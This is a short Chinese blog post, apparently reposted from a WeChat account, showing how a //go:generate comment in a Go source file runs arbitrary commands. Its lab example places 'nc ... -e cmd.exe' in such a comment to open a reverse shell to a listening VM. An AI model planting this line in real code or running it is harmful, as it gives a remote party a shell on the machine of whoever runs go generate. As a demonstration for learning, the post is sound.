Go语言在去年出了一个go get的Rce漏洞,漏洞编号CVE-2021-3115,主要影响运行该命令的Go的Windows用户,系go get由于Windows PATH查找的默认行为。
这里,我们不介绍这个,而是介绍另一个非常有意思的“Rce”。其实它不能算“Rce”,顶多只能算是个Bug。
一、看实验:
虚拟机ip:192.168.40.155
1、在虚拟机中运行:nc -lvp 7777
2、在本机中运行:go generate -x testRce.go
3、结果,shell了
出现了windows的shell窗口,说明执行成功。
二、Go代码
testRce.go:
package main
import (
“fmt”
)
//go:generate nc 192.168.40.155 7777 -e c:windowssystem32cmd.exe
func main() {
fmt.Println(“test go:generate remote command execution “)
}
三、go generate 介绍
go generate命令是go 1.4版本里面新添加的一个命令,当运行go generate时,它将扫描与当前包相关的源代码文件,找出所有包含//go:generate的特殊注释,提取并执行该特殊注释后面的命令,命令为可执行程序,形同shell下面执行。
有几点需要注意:
-
该特殊注释必须在.go源码文件中.
-
每个源码文件可以包含多个generate特殊注释时.
-
显示运行go generate命令时,才会执行特殊注释后面的命令.
-
命令串行执行的,如果出错,就终止后面的执行.
-
特殊注释必须以//go:generate开头,双斜线后面没有空格.
理论结合实验,是不是很有意思啊!
铜陵疫情终于控制住!今天有部分小区解封了,意味着我也要解封了,在单位住了有二十天,还挺留念这样的集体生活!不过,能见到家人,还真是开心,明天早上下班就回家!!!
我的小窝
原文始发于微信公众号(MicroPest):Go 之 “Rce”